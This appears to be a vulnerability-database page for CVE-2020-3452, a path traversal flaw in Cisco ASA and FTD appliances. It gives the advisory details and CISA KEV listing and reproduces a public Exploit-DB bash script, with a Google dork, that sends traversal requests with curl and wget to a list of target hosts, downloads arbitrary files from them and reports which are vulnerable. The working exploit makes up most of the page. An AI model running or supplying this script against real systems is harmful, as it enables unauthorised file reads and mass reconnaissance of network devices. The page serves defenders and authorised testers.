CVE-2020-3452
Description
Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an improper input validation vulnerability when HTTP requests process URLs. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device.
CISA KEV
- Vendor
- Cisco
- Product
- Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)
- Due date
- 2022-05-03
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion
# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author: 0xmmnbassel
# Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
# Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file read
# CVE: CVE-2020-3452
#!/bin/bash
read="%2bCSCOE%2b/portal_inc.lua"
helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3452"
echo ""
echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
echo -e "\t-i for single IP test"
exit 1
}
while getopts "l:r:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
r ) read="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done
#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi
#usage
if [ -z "$website"];
then
while IFS= read -r line
do
name=$(echo $line | cut -c9-19)
#echo "testing $line"
filename="$name.txt"
#echo $response
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "400" ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
echo "downloaded!, $line is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi
done < "$input"
else
name=$(echo $website | cut -c9-16)
filename="$name.txt"
status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "Bad Request" ]; then
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "downloaded!, $website is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi
fi
Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2)
Cisco ASA and FTD 9.6.4.42 - Path Traversal
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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